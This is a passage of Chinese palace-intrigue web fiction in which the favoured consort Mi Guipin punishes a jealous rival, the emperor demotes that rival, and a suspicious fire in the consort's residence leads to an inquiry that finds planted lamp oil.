明?裳约了张嫔一同采莲, 两人到池边蹲下身子, 还未卷袖去摘,耳边就听见一道窃窃私语。 “宓贵嫔不过就会?跳几支上不得台面的舞曲,做着?宫里头伶人的事?, 做甚那般得皇上宠爱!” 明?裳原本弯着?的唇角慢慢压平, 侧过脸,与张嫔对?视了一眼,张嫔方才的笑意也已退去,她拧起眉,是在询问明?裳, 明?裳则轻摇了摇头,比了个噤声的动作, 让那边人继续去说,她也想听听,那人还会?说出些什么?。 流水的假山刚好将两侧隔开,那厢还未结束,似有小宫女低低地?劝阻,“皇上今日?怕是不会?来了,主子站了大半日?,回殿歇歇吧。” “不可!”那女子心中不平,越说越气,“当?初我与宓贵嫔一同入宫,家世也未相差多少,凭什么?才短短一年余,她就做到了一宫主位!选秀之时,她女红极差,不知被姑姑罚了几回,如今却是一步登天了!” “还真是有本事?!” 小宫女听主子的声音越来越大,已有些惊慌害怕,焦急道:“主子小声些吧,小心隔墙有耳,万一叫旁人听去就不好了。” 那人反倒没半分惧意,“怕什么??别说宓贵嫔不在这,便是她宓贵嫔在我面前?又如何,以色事?人,迟早有得皇上厌弃的一日?。” “届时看她还如何得意!” 明?裳回忆起了说话的嫔妃是谁,去岁选秀时,她家世不高,教养的嬷嬷也不曾看重她,那嬷嬷与孙家沾亲带故,因而,她也吃了些孙宝林给的暗亏,入宫后,孙宝林安分守己,两人宫所相隔得远,明?裳也就渐渐忘了这人,不想,人家却是一直记挂着?她。 她擦净了指尖儿的水渍,扶着?月香的手站起身,慢悠悠地?绕去假山另一侧,眼眸往那嫔妃身上一瞧,果然是孙宝林,她开口道:“有没有那一日?,就不劳孙宝林挂心了。” 乍然生出的动静让孙宝林下意识转了身,待看清那女子的面容,孙宝林猛地?僵住,脸色青青白白,变换几番,精彩至极。她咽了咽唾,干笑一声,屈膝福了身子,“嫔妾请贵嫔娘娘,张嫔娘娘安。” 她声线干硬不稳,几乎攥紧了手心,才止住了不停发抖的双腿,宓贵嫔这句话,摆明?了是将她方才所言听得清清楚楚,孙宝林简直辩无可辩,她呼吸有些急,快是要哭出来。 “嫔妾不知两位娘娘在此,扰了娘娘清净,请两位娘娘宽容一二,饶了嫔妾方才说的糊涂话!” 孙宝林一向识时务,不然也不会?入宫后安安静静地?到了现在,还能跟随圣驾来行宫避暑,是有几分本事?。方才说什么?不论?宓贵嫔在不在这,不过是在过过嘴瘾,人要真出现在她面前?,她才是怕得要死。 明?裳撩起眼睫,不紧不慢,“今儿见到孙宝林,忽然让本宫想起一件事?。” 女子声线柔柔缓缓,如玲珑泉水,煞是好听,孙宝林却听得右眼直跳,手心发紧,冒出涔涔冷汗,她知晓这位宓贵嫔不好招惹,算上今日?,她也是来了五回南苑,却一回都未遇见圣驾,她今日?实在是情急了,才说出那番口无遮拦之语,虽是她心中所想,但孙宝林一向有规矩,偏生今日?放肆一日?,竟全叫宓贵嫔听了去。 她按捺不住,不知宓贵嫔还要说些什么?,死死掐住了扶着?宫女的手背,那小宫女也被主子掐得直冒泪花,不敢吭声。 日?头大,辛小五寻了一柄油纸伞,交给辛柳,为?主子遮下阴凉,月香轻扇蒲扇,拿着?绢帕擦干净了矮墩,伺候主子坐下身子。 孙宝林则动也不敢动,顶着?大日?头,一张脸生出异样的红,也不知是不是晒的,头有些发晕。 明?裳这才继续道:“本宫记得,刚入宫时,孙宝林与丽景轩里头住着?的柳氏走得颇近。” 新人入宫那时,明裳仅是宝林位分,尚不得宠,家世也不高,她住进?顺湘苑,与柳美人同在永和宫,住进?的第二日?,就受到了柳美人刁难,一连三日?,御膳房往她宫里头送的吃食要么?是残羹,要么?是冷炙,大半月不见荤腥,起初她是以为柳美人性?子如此,喜欢欺负低位的嫔妃,直到有一日?散了问安,她瞧见孙宝林避开众人,与柳美人同路。她才明?白,柳美人为何对自己那般态度。 提起旧事?,孙宝林面色倏然生出了惊慌,她扑通跪下身子,“嫔妾……嫔妾刚入宫,势单力孤,听闻柳氏在御前?得脸,不过是想找倚仗罢了。后来柳氏仗着?家世欺辱嫔妾,嫔妾也就慢慢与她少有交集。” 明?裳轻轻笑了声,也不知信了没信。这一声笑音,压得孙宝林头垂得更?低,她入宫时,确实嫉妒虞氏女,起初还有些小心,直到皇上两月不来后宫,她便愈发肆无忌惮地?使起了绊子。后来虞氏女得宠,孙宝林才不敢再做别的动作,只是愈发的嫉妒。但她只是有那个心,没那个害人的胆子。 张嫔不知宓贵嫔入宫时的事?,宓贵嫔的性?子从来都是人不犯我我不犯人,可见这孙宝林在那时确实做过些什么?。她没有劝阻,也没有插手,视线扫过跪地?的孙宝林,又轻描淡写地?移开。 “本宫也不是记仇的人,倘若因过去的事?责罚孙宝林,叫人听了去,反而会?说本宫小肚鸡肠。”明裳拨去颊边的一缕青丝,似是在想今日的事要如何了结。 “方才孙宝林那番话可大可小,按理说这不敬上位的名?头,是要受杖刑禁足的,本宫心慈,倒是不忍孙宝林受如此大的惩罚。” 听到杖刑二字,孙宝林两眼一黑,险些晕死过去,她不是高位,可在这宫里已是养尊处优,如何受的起那般苦楚。按理说唯有皇后以及妃位才可这样惩戒嫔妃,然宓贵嫔受宠,焉知不敢这样重刑于她。 孙宝林眼圈通红,呜咽地?哭出来,“嫔妾知错了,嫔妾再也不敢了,求宓贵嫔网开一面,饶了嫔妾这一回吧!” 明?裳扶着?月香的手起了身,脸上已经没了方才的笑容,“孙宝林知错就好,既然已经知错,就在这里跪上两个时辰,本宫便不会?再加追究。” 经此一闹,明?裳与张嫔也没了采莲的心思,小皇子睡醒要找母亲,两人各自回了宫所。 很快这事?传开,听说孙宝林跪了两个时辰后,双腿发麻,在回宫时,摔进?了莲花池里,被宫人救上岸,回宫当?夜就昏迷不醒,发了高热,好似是惊吓过度,连灌了三副汤药,到后午才有转醒的迹象。皇后也去林荫阁探望孙宝林,孙宝林哭声不止,求着?皇后为?她做主,皇后叹息一声,拍了拍孙宝林的手,只道让她多加歇息,切莫再说错了话。 从林荫阁出来,皇后再三思量,吩咐宫人转了方向,前?去勤政殿。 今儿日?头烈,皇上下朝后又见了几个朝臣议事?,全福海一直在廊下晒着?,汗水湿了一层又一层,方送走了几位大人,全福海怕自己这样进?去伺候熏着?皇上,又忙忙去耳房换了干净的衫子,刚走回来,就见皇后娘娘的仪仗到了殿外。 他弓着?身子前?去福礼,要是别的主子过来,全福海是要斟酌着?进?殿通禀,但因是皇后娘娘亲自来了这儿,全福海万不敢耽搁了,他进?去传了话,又转身回来,请皇后娘娘进?去。 御案上批阅好的折子已经摞到一处,李怀修随意撂了手中的湖笔,皇后请身近前?,将行宫两月的账册交给男人去看。 “贤妃妹妹聪慧,账册核对?的也甚是妥帖。” 殿中央放置了冰盆,皇后望了眼男人的脸色,又将目光落回御案的近日?各宫的出入。 李怀修指腹翻过两页,便没再看继续去看,“过些时日?回宫,到中秋,今年可较去年大办,用度多些也无妨。” 皇后温声应话,合了账本,让宫人拿下去,才说起了旁事?,“臣妾过来,有一件事?,不知该不该说给皇上。” 殿中央的冰融了一块,伺候的宫人轻声去添,李怀修换了个姿势,掀眼让她说。 皇后眉心蹙着?,似是在想该如何说出口,“方才臣妾是从林荫阁过来,去看了孙宝林。” “昨日?孙宝林言行无状,说了些不敬的话,便受宓贵嫔责罚,在南苑跪了两个时辰。孙宝林性?子胆小,回宫时不慎摔下莲池,高热一夜,浑噩到现在才有些清醒。” “本不是大事?,只是要传扬出去,于六宫是有损碍。臣妾才过来请示皇上。” 殿内静了一瞬,皇后没有再开口。 李怀修低垂着?眼,把玩着?手中的印章,稍许才慢条斯理地?问道:“孙宝林都说了什么??” 闻言,皇后眼底有一闪而过的诧异,她一五一十地?答出,又说:“孙宝林此言也确有不妥。” 李怀修将印章丢回了案上,已有些不耐,“孙宝林不敬上位,降为?采女,禁足三月,反思己过。” 皇后指尖一紧,正要说些什么?,抬眼间?对?上男人看来的目光,“你是朕的皇后,日?后这些事?,不必悉数禀到朕前?。” 第070章 第 70 章 因有新人进宫, 行宫里?人心浮动,然再着急也没用,皇上不召幸她们, 她们贸然去御前, 只会惹皇上厌烦。孙采女那桩事更是?给六宫提了醒,往御前去求怜惜, 只会让皇上更加厌恶,闹不好,孙采女就是?前车之鉴, 不仅没得圣心,还失了位分。明裳对皇上的态度也有些诧异,倒是?因此?,后宫下位的嫔妃反而?对她愈发恭敬,好似她倚仗圣宠, 有多?不好招惹。 这?日, 听闻昨儿罗常在在西门的青石小径训斥一个宫女, 被皇上瞧见,当夜,皇上就召了罗常在侍寝。 这?事儿倒是?令众人心生诧异, 罗常在那样的性子, 竟能入皇上的眼? 旁人不知,全福海看得清清楚楚。说起?这?罗常在也是?一个奇葩的主子,专挑那折腾的人法子惩治宫人。那日也是?巧了,督察院左都御史罗英罗大?人正伴驾禀事,边走着, 就听远处一道女声。 “你这?个泼皮太?监,怎的, 我不亲自过来寻你,就办不成事了?” “狗眼看人低,今儿我就好好惩治惩治你!” “只许你跪一个膝盖,累了也不许给我喘,听见你喘气我都烦得想把你嘴堵起?来。” “……” 罗英哪听不出自家女儿的声音,当即吓得额头冒汗,扑通跪下身?子,“小女不懂宫中规矩,还望皇上恕罪!” 李怀修拧了拧眉峰,淡淡睨他一眼,只这?一眼,压得罗英脑袋险些埋到土里?。他心知自家女儿张狂无度,进宫前他再三叮嘱,那位可不是?能纵容人的性子,女儿也是?点了头了,谁知进宫依旧是?这?副德行,偏生还让皇上撞见,他丢了这?张老脸也就丢了,眼下皇上还用得着他,不会如何,可女儿在后宫里?不得圣上眷宠,以后的日子可怎么过啊! 罗英一面?懊恼,一面?绞尽脑汁要找尽由?头为自家女儿辩解开脱,还不等他想出说辞,又听那头道:“罗主子可饶了奴才吧,奴才只是?个打杂的,罗主子没有冰用,奴才哪里?清楚!” “你不知道谁知道?我自入宫,用度都是?你一应发送,拖了五日也就罢了,我脾气好,忍了你五日,谁知今儿一早,就得知我宫里?的用度,都是?被你们这?群奴才私自用了去,怎的,谁给你的胆子?主子的冰,用的可是?舒服?” 罗常在气得恨不得一巴掌就扇过去,谨记着父亲的提点,才生生压下了这?口气。这?帮奴才当她刚入宫,又不得宠,竟敢如此?肆无忌惮地欺辱她。 那小太?监眼珠溜溜的转,赔笑一声,“哪个蠢货说给的主子,奴才是?吃了熊心豹子胆了,敢克扣主子的用度。主子消消气,告知那奴才从何处听说的,奴才这?就去给主子查,说不准正是?那人拿了主子用度,栽赃到奴才身?上呢!” 这?狗奴才油嘴滑舌,没一句实话,罗常在狠狠瞪了他一眼,“待我禀了皇上,定要查明实情,治你的罪!” 那小太?监吊梢眉挑起?来,讪笑一声,“罗主子要带奴才去御前,也得见着皇上的面?儿不是??” 罗常在入宫也快一个月了,从未侍寝,可见,皇上压根就没想起?过这?么一个人。那小太?监向来拜高踩低,才瞧不上这?么一个不得圣宠的小小常在。 罗常在简直要呕出血来,她现在要掌嘴这?奴才,都嫌脏了自己的手。 “我父曾言,皇上素来重视规矩法度,恪守礼法。皇上御极后,重审诏狱,泽被天下,从不错冤一人,上京城上上下下的百姓,谁不敬服!我便是?不信了,皇上那般的圣明君主,眼里?会容下你这?样的沙子!” 那小太?监愈发不屑,“罗主子,皇上日理万机,主子还是?安生些为好,免得惹了皇上厌烦,届时别说是?要冰了,就是?要去给宫里?的奴才拿月例,怕都难了!” 李怀修冷眼从竹林后出来,“朕竟不知,后宫还有你这?般不敬上位,目无规矩的刁奴。” 罗常在看见忽然出来的男子,一时没反应过来,只觉这?人面?如刀裁,威仪不凡,直到后面?为自己操碎了心的老父亲差点要咳碎了胸腔提醒她,罗常在才骤然回神? ,居然连宫礼都忘了,直接跪下了身?子,“嫔……嫔妾轻皇上安。” 罗英无声抚额,若非家中只有这?一个女儿,他定是?要换人进宫,还好她也知祸从口出,还谨记着不得背后议论圣上,否则他们罗家也别想待在京城。 那小太监最后由皇上发话,交给了皇后处置。 全福海眼观鼻鼻关心,罗常在今夜侍寝是板上钉钉了,罗常在也是?个有福气的,这?时候入皇上的眼,一则平衡了徐美人的圣宠,二则也是罗常在看似言行无状,实则也是?聪慧。 这?番话,皇上喜欢听,也喜欢,让旁人听见。 罗常在脾气不好,进宫后终于得以伴驾,也算是?扬眉吐气,翌日,管事太?监麻溜地往玉兰阁添了一应用度,罗常在到仪元殿问安,也算是?挺直了腰板。 刚要踏进仪元殿的门,就遇见了称病许久的徐美人。前些日子徐美人得宠,罗常在在徐美人跟前总要矮上一头,如今罗常在难得先福身起了话,“徐美人的身?子可好些了?” 徐美人称病这?些日子,无时无刻不期待着皇上能怜惜记挂着她,到怡香苑看望,不想,竟是?她痴心妄想。不仅没等到皇上过来,还得知了罗常在侍寝的消息。听闻罗常在侍寝,徐美人终于?坐不住了,她哭了一日,才想明白,后宫女子,最忌讳的,是?对那位有心有情,全然是?她入宫后,那位恩宠于?她,让她忘了那位坐拥天下,临幸她不过是?因她的母家,那位又何时真正在乎过谁。这?些日子也是?对她的敲打,是?她将自己摆得太?高,以至于?进了死胡同。 如今她终于?想明白,皇上看中的从不是?女子的容貌性子,而?是?于?前朝的有利之处。她只要记得这?些,再怀上皇嗣,加之母家扶持,何愁他日不能坐到高位。 徐美人想通,也就没那么多?忧虑,她轻柔地笑道:“风寒罢了,劳罗妹妹关心。” 罗常在在家中并无姊妹,入了宫也不习惯与嫔妃姐妹相称,听闻徐美人唤自己罗妹妹,她神?情有些不自然。 眼见到了问安的时辰,两人没再继续叙话,各自进了内殿。 进宫的三人中,又有新人侍寝,这?新人还是?没人在意的罗常在,不由?得引人侧目。 罗常在生得小家碧玉,然放在后宫一众争妍斗艳的娇花之中,就显得寻常了些。 三人中,独独容貌最艳的白答应还未侍寝,白答应神?情难免低落,话也说的少。 罗常在昨夜侍寝,今儿问安,皇后早已备了赏赐,罗常在谢恩后,皇后揉了揉额角,面?容乏累,便让殿内的嫔妃各自散了。 明裳从殿内出来,就见洒扫的小宫女正毕恭毕敬地跪身?,给罗常在说尽了讨喜的话,哄得罗常在心花怒放,没少给那小宫女打赏。那小宫女两眼冒光,连连叩谢。 几日前,罗常在还是?个不得宠的常在,一夕间,摇身?一变,因侍奉圣驾,没人再看看轻。 明裳对此?倒颇有感?慨,成也圣恩,败也圣恩,因那为手中的权势,谁不想受其仰仗庇护,以求一分尊荣。 …… 入夜,砖红的宫墙挂上一抹朦胧的月色,温柔似水,清绝静谧。 夜色这?般深沉,勤政殿仍旧掌着明亮的琉璃宫灯,男人坐在御案后,翻看着白日的奏疏。 全福海近前,正要沏茶,这?时,殿外忽然有一小太?监慌里?慌张地跑进通禀,“皇上,方才殿外来禀,雪霁亭走水了!” “砰”的一声,瓷盏落地,全福海愣了下,后知后觉出了什么事,压根不敢去看皇上的脸色,忙跪到地上请罪。 他耳边听到皇上先声发问:“宓贵嫔如何?” 那小太?监打听好了原尾,不敢吞吞吐吐,立即答话,“奴才听闻是?偏厢先走了水,宓贵嫔只是?受了惊吓,并无大?碍。” 李怀修黑眸稍缓,拂袖起?身?,大?步流星地往殿外行去,“去雪霁亭。” 全福海爬起?来小跑着才跟上皇上,下了台阶,赶忙扬声唤人:“摆驾雪霁亭。” 此?时夜色已深,谁也没料想到,雪霁亭忽然走了水。要是?换作别的嫔妃宫中走水,这?般深夜,不过当作一桩笑谈,是?没人愿意起?身?梳妆换衣,前去看望,偏生这?人是?宓贵嫔,当下皇上最宠爱的妃嫔,这?事儿发生在宓贵嫔身?上,总会有几分不寻常。 按捺不住的嫔妃得了消息,立即起?身?更衣,赶去雪霁亭,这?急急忙忙中,有几分看好戏的意思在里?。宓贵嫔也是?有点儿倒霉,行宫中偏偏她住的地方深夜走水,也有些运气,听闻传话的宫人说,火只烧在偏厢,宓贵嫔没伤到半分。不过没到雪霁亭,谁知晓究竟是?怎么回事,她们倒是?巴不得宓贵嫔出事,最好被烧毁了容貌,再不得皇上宠爱才好。 雪霁亭 明裳出来得急,鬓发只草草用一根银簪松松挽了,她肩头披着藕荷色的织锦披风,靠坐在院里?的矮凳上,眼眸看着进进出出救火的宫人,仍旧心有余悸。 火虽是?烧在偏厢,但熏起?黑烟仍波及到了她,辛柳正要给主子擦去脸上浓烟熏出的烟灰,明裳则是?抬手,拂去了她的帕子,不动声色地摇了摇头,辛柳会意,便按主子的意思,收了绢帕。 这?场火起?得不明不白,动静又闹得大?,倘若明裳穿得干干净净,毫发无损,难免要落人口舌,好似她为了争宠,自导自演的一出戏。她自是?不信,好端端的能凭空走水,既然有这?个机会,她又岂能不借此?博得那位怜惜。 明裳拨开耳边的碎发,冷静地看向烧得塌了廊檐的偏厢,沉思间,殿外就有宫人通禀,圣驾到了雪霁亭,明裳眼底闪过一抹诧异,她原以为最先过来的该是?离得最近的徐美人,不想居然是?皇上。 来不及多?想,明裳扶着辛柳起?身?之际,原本沉稳的面?容忽然换上了一副泪水湾湾,弱柳扶风的病态,耳畔的发丝拂过脸颊,黑色的烟灰抹过眼尾,那双水眸中的泪珠欲掉不掉,仿似受了天大?的委屈,叫人怜惜不得,想抱在怀中细声安抚。 待那抹明黄的身?影出现在雪霁亭,明裳想也不想,眼眶掉了泪水,扑到男人怀间,娇娇柔柔地哭诉,“皇上,嫔妾好怕,火烧得那般大?,嫔妾险些再也见不到皇上了……” 纵使知晓此?时怀中这?女子有三分故意做出给他看的伪装,见到她这?副可怜兮兮的模样,李怀修仍是?忍不住心口疼了一下,不自觉放轻下声,拂去她颊边被泪水粘湿的发丝,低声安抚,“别怕,朕在这?,有朕在,不会让你有事的。” 明裳纤弱的身?形在男人怀中轻轻颤抖着,葱白的指尖扯着男人的衣襟,泪水涟涟,梨花带雨,不能自抑一般。李怀修竟也能耐着性子哄她,见这?女子越哄哭得越哄,终于?皱起?了眉头,无奈地掐住明裳的脸蛋,指腹摩挲两下女子白腻的肌肤,“先说说,怎么回事?” 男人沉沉的黑眸盯在明裳的脸上,李怀修看清了女子面?颊烟熏出的黑渍,眼色微深,这?人虽有几分做戏,但夜中走水,险些危及性命,并非小事,受的惊吓确也做不得假。他有意安排这?女子住在自己近侧,不想也能出今日这?事,他眸底一闪而?过的沉色。 李怀修垂下眼,耐心地擦去女子侧脸的烟灰。 男人指腹的动作温柔多?情,明裳止住哭声,眸子可怜巴巴地抬起?,似水的波动中氤氲的全是?委屈害怕。 这?害怕也并非全是?作假,她又非神?机妙算,怎会知今夜雪霁亭会忽然走水。 她像小猫似的,在男人掌心蹭了一下,李怀修微怔,继而?唇角勾起?,露出了一抹极淡的笑意。 见到皇上脸色稍缓,全福海心口压着的大?石头才算落地,天知道他这?一路是?怎么过来的,皇上阴沉的脸色让他大?气都不敢喘一下。他不禁心道,皇上怕是?自己都没意识到,自己有多?紧张宓贵嫔。 偏厢的火扑灭,宫人垂头轻声洒扫烧毁的殿宇,不敢惊扰了皇上和主子。 明裳伏在男人怀中摇头,委屈道:“嫔妾怕极了,只知是?偏厢的宫人打翻了烛台,还未来得及审问出什么。” 这?话也是?事实,她原是?想带那个宫人过来审问,不料圣驾来得这?般快,还未叫她反应。 直到雪霁亭外传进宫人小心翼翼地通禀,明裳才从男人胸怀中出来,弱柳扶风般的搭着辛柳扶过来的手候到一旁,只是?那欲语又休的泪水实在可怜。 李怀修拧了拧眉峰,负手转身?冷淡地扫了眼通禀的宫人,那小太?监只觉背后生出嗖嗖寒意,险些吓软了身?子。 贤妃随后上前问安,徐美人不知何时跟在贤妃身?后,屈膝福礼,贤妃仿若未觉方才雪霁亭内的情形,脸上恰到好处地挂上一抹担忧,“臣妾听闻雪霁亭走水,就匆忙赶了过来,怎么好好的就走水了?不知可有伤到宓贵嫔?” 她眼神?瞧向退到后面?的明裳,似真的是?担心极了,视线在女子身?上上上下下打量了一圈。 明裳柔柔地垂首屈膝,“劳贤妃娘娘记挂,偏厢的火并未波及到嫔妾寝殿,嫔妾并无大?碍。” “宓贵嫔无事就好。”贤妃神?情稍舒,面?上挽起?妥当的笑意。 徐美人与明裳对视一眼,也松了口气般地点了点头,嘴角微微弯起?,“得知宓姐姐没有受伤,嫔妾也放下心了。” 宓姐姐? 明裳眼底划过一抹轻诧,徐美人入宫后,虽处处规矩,举手投足间却?是?自视甚高,这?还是?头一回,唤她宓姐姐。徐美人的怡香苑距雪霁亭最为相近,怎的居然在贤妃之后才现身?。明裳心中思量,见徐美人妆发未梳,衣裳还是?白日那件,可见是?得了消息早早就赶过来了。倘若不是?出了意外,就是?已在雪霁亭外候了一会儿。 明裳心下计较,不露声色地掩去了情绪,也含笑与徐美人客套了两句。 这?时,零零星星的嫔妃相继赶到了雪霁亭,见皇上也在,福了身?子,都做出一副担忧的情态,开口关切,见宓贵嫔确实无事,尤其那张脸仍旧是?雪肤玉貌,忍不住露出了失望之色。 这?番惺惺作态,看得月香不禁作呕,后宫的嫔妃们没几个安着好心,急急忙忙到雪霁亭,还不是?为了看笑话,主子无事,倒是?让她们失望! 她低着头,伺候在主子身?侧,默默翻了个白眼。 明裳没在乎那些人心中所想,后宫嫔妃面?和心不和,毕竟妃嫔入宫就要争宠,谁会巴巴地盼着旁人好过。 起?的火势不小,雪霁亭处处都留下了烟熏的痕迹,皇后所住的仪元殿相隔最远,夜中姗姗来迟,先福了身?,继而?去关切明裳,得知无事,才皱眉看向李怀修,“皇上,此?事事出蹊跷,今夜风向朝东,若迟些,火势旺盛,免不得要波及勤政殿,臣妾以为,还要严加审问,不能轻易听信了那宫人一面?之词。” 皇后考虑颇多?,将意外走水牵扯到了御前,此?事断然不能轻易了之。 原本明裳腹中也准备了此?番说辞,倘若当真是?有人要暗害她,将事情的严重性上升到皇上,那人就是?有再大?的倚仗,也是?死罪难逃。 皇后既然替她说出了她要说的话,她便没再多?言,只是?面?色愈发苍白,水眸倏然睁大?,委屈小心地去扯李怀修的衣角,“皇后娘娘说的是?,倘若真的有人蓄意纵火,也不知存的什么心思,万一火势波及到勤政殿,嫔妾才是?大?罪,还不如埋在火堆里?,死了算了!” 李怀修呼吸微重,倏然沉下眼,厉声斥道:“胡话!” 男人脸色铁青,打开女子扯他衣袖的小手,当着众人的面?,他压了压胸口无端的怒气,只沉声道:“宫中忌讳,再敢提那个字,朕现在就罚你把宫规抄上一百遍!” 被男人凶了一通,明裳咬咬唇瓣,好似委屈,眼圈红了红,不说话了。 李怀修没再心软理会这?人,冷眼扫了一圈雪霁亭站着的一众嫔妃,众人齐刷刷垂低了头,惊惧得呼吸都要凝滞,生怕在这?时触到皇上的霉头。又不禁嫉妒起?宓贵嫔,皇上看似冷脸,可言语间处处维护,哪是?真正要责罚宓贵嫔!嫉妒归嫉妒,此?时正在皇上气头上,没人敢置喙半句。 心惊肉跳之时,她们听皇上寒声开口:“把涉事的宫人带进来。” 70-80 第071章 第 71 章 今夜本?应是?素盈轮值守夜, 但明裳不知为何夜中难眠,就换了贴身伺候的?辛柳候在外面。素盈是?行宫内洒扫雪霁亭的?宫人,明裳住到雪霁亭后, 素盈自然而然地留下伺候新?主子。 素盈被带去?了雪霁亭偏殿, 她也不过是?留在行宫洒扫的?小宫女,何曾见到这般大的?阵仗, 自知犯下祸事?,浑身都都成了筛子,惊惶地眼神乱瞟, 伏在地上的?双手不断发抖。 她也不知,自己怎会无?缘无?故失手打翻了烛台,这也就罢了,那火势烧得竟如此迅疾,甚至不给她反应, 倘若她再慢上一步, 怕是?自己都要葬身火海。 素盈简直又悔又恨, 吞了口唾沫,哆哆嗦嗦地说?清了缘由。 她脸色惨白,眼神惶恐, 哭求道:“皇上饶命, 奴婢当?真不是?有心。奴婢就是?有十个?胆子,也不敢加害皇上,不敢加害贵嫔娘娘啊!” “求皇上明鉴,饶了奴婢吧!” 素盈再蠢钝,也清楚今夜自己倒底犯下何等?大错, 归根结底都是?她打翻烛台才起的?火势,追究下去?, 她势必要担了这罪状。 她越想越害怕,走投无?路之下,忍不住将目光投向前面的?女子,“贵嫔娘娘救救奴婢,奴婢伺候娘娘尽心尽力,忠心耿耿,万万不敢加害贵嫔娘娘啊!” 她有几分聪明,将这场火势归咎成是?后宫的?主子们争宠用的?手段,只要如此去?说?,不论?如何,宓贵嫔都不会放过要害自己的?人,也就自然而然地不在乎她失手打翻的?烛台。 素盈心中盘算,也让众人愈发怀疑,雪霁亭走水事?有蹊跷,倒好像是?真的?有人暗自动的?手脚。 偏殿的?火势扑灭,检查过一番后,请身入殿禀话。那太监手中捧着一截烧焦的?木梁,不敢耽搁,抹了把额头的?虚汗,立即道:“启禀皇上,奴才在偏殿的?地上发现了有助火势的?灯油。” 话音一落,殿内的?人脸色皆是?一变。 明裳倚靠在辛柳身上,夜风拂起她鬓边的?发丝,她眸子惊惧,泪水涟涟,仿若受到极大的?惊吓一般,十分委屈哭诉:“皇上,偏殿怎会无?端洒这么多的?灯油,居然真的?有人要害嫔妾!” 女子抹去?眼尾的?泪珠,殿内嫔妃见宓贵嫔这番梨花带雨模样?,嘴角都忍不住抽了抽,宓贵嫔进宫一年,不止生出这一回事?了,从前被人多少回栽赃嫁祸,宓贵嫔冷静沉稳,三言两语便洗清了身上的?嫌疑,何时怕过什么。这回走水,却?叫宓贵嫔得了便宜,借此机会,委屈成这般,不知要博得皇上多少怜惜。 众人咬牙切齿,都看得出宓贵嫔是?在做戏,可看得出又怎样?,宓贵嫔说?得也是?实情。更何况,她们看得出,皇上就看不出吗?偏生,皇上丝毫没有斥责宓贵嫔的?意思,反而任由宓贵嫔哭诉,过了这事?,还不知宓贵嫔要借此谎称自己受了惊吓,霸占皇上多久! 明裳才不管那些?人怎么样?,前些?日子刚拿孙采女开刀,不想不仅没杀鸡儆猴,反而适得其反,愈发变本?加厉,还敢往她住的?地方放火,当?她有多好欺负! 她念此,心神忽的?一动,眼眸不着痕迹地从一众嫔妃中扫过一瞬,孙采女尚在禁足,大抵不会生出这种事?,但事?也全无?绝对。 明裳收回眼光,若有所思地捻了捻指尖的?绢丝帕子。 她得宠后,看她不顺眼的?嫔妃不在少数,今夜闹出的?动静,背后之人,是?与她龃龉的?孙采女,还是?刚进宫的?徐美人,亦或是?……还有旁人? 她敛下心思,又恢复到方才委屈得惹人怜惜的?情状,转头对男人请示:“皇上,能?烧毁偏厢,所用的?灯油必然不少,不如请全公公去?到管事?处查,动作快些?,即便做得再隐秘,也能?查到些?东西。” 李怀修点了头,吩咐全福海去?查。 全福海离开雪霁亭,这时,徐美人忽然开了口:“贵嫔娘娘的?话,引嫔妾也思索几分。贵嫔娘娘说?火势用的?灯油不少,料想做下手脚的?人也不会一时半刻就办妥,偏厢又距贵嫔娘娘的?寝殿这般相近,娘娘就没听到半分动静吗?” 经徐美人提醒,旁人落到明裳身上的?目光就多了些?别的?意味。 有人眼珠一转,添油加醋,“贵嫔娘娘也是?命大,听不到有人洒灯油的?动静,还能?赶在火势烧到寝殿时躲过一劫,倒底是?运气好,还是?深更半夜自己做出这场戏,有意而为?” 贤妃静静地站在宫灯落下的明黄光线中,若有所思地掠了眼最先开口的?徐美人,嘴角看好戏般地轻挑了下。 倘若徐美人还是?引出怪异之处,后面开口的嫔妃就是明晃晃的在说?,宓贵嫔为争宠,不择手段,今日之事?,也不过是为了博皇上怜惜的戏码罢了。 后宫嫔妃勾心斗角,什么法子用不出,嫔妃们也不禁怀疑起今日之事的可疑之处。 徐美人刚进到雪霁亭时,还关?切地唤明裳宓姐姐,这会儿变得可是够快。明裳没将徐美人的?指控放在眼里,清者自清,今夜动静闹得这么大,难不成她们以为往自己身上说上三言两语,就能?轻易给自己定罪? 简直可笑。 明裳朝徐美人微微一笑,“徐美人说?得也有几分道理。” 她话锋一转,目光审视地看向地上跪着的?素盈,“我倒也奇怪,为何有人泼洒灯油,我却?毫不知情。” 得知偏厢起火,火势颇大的?时候,明裳就有此疑问,不止她毫不知情,就是?近身伺候的?辛柳几人,竟也毫无?察觉。 偏厢住着的?宫人不止素盈一人,素盈是?夜中举灯起夜,才烧起的?火,她甚至还未来得及将火星扑灭,猝不及防,火势突然窜高,素盈惊惶不已,一面回偏厢呼喊,一面唤人救火。那火却?仿若火蛇,越烧越大…… 素盈顶住主子审讯的?目光,心头猛跳,她伺候主子月余,自然摸清主子从不是?那等?只会撒娇得皇上垂怜的?嫔妃,主子这番问话,也是?在给她机会,倘若她支支吾吾,答不出,给旁人落下主子的?话柄,才真的?是?无?用之人,不管今儿真相如何,她都不必在雪霁亭伺候。 她额头冒出汩汩冷汗,茫然无?措之际,霎时间,回忆起什么,她眼神现出一抹亮光,蓦地抬头,急急忙忙地禀道:“奴婢忽然记起,今儿娘娘后午小睡时,有几个?宫人过来送新?培的?凤仙花,奴婢怕惊扰了娘娘休息,叫那些?人动静轻声些?,摆到偏厢廊下,奴婢……”素盈越说?越急,“奴婢当?时拿的?烛台就是?不慎掉到了凤仙花盆里,奴婢当?时还觉得奇怪,为何不见下雨,廊下台阶却?这般湿滑,定是?那些?凤仙花有古怪!” 明裳轻轻抿唇,侧眸给候着的?辛小五递了个?眼色,辛小五垂眼,躬着身子,默不作声退出了偏殿。 皇后将明裳主仆二人的?动作收入眼中,又淡淡地敛了眸色。皇上都未在意,她又何必多此一举地开口。宓贵嫔也非蠢笨之人,深知如何得那位的?欢心,又怎会用这种愚不可及的?法子,费心惹人注目。 她也想看看,今儿唱的?这出戏,要怎么收场。 徐美人抿住了唇角,眼底颇有憾色,她不着痕迹地打量了一瞬气定神闲的?宓贵嫔,又生出些?许懊恼,方才是?她沉不住气,本?不该说?出那些?话。 她低下眸子,没再去?说?话。 …… 这时,辛小五从殿外捧着一块乌黑的?瓦片进来,他埋首跪下身,将手中的?花盆举高,“启禀皇上,奴才查看过偏厢外的?凤仙花盆,盆底确有沾了水的?灯油。” 殿内嫔妃脸色有异,面面相觑一眼,这回,当?真是?坐实了,有人动的?手脚。 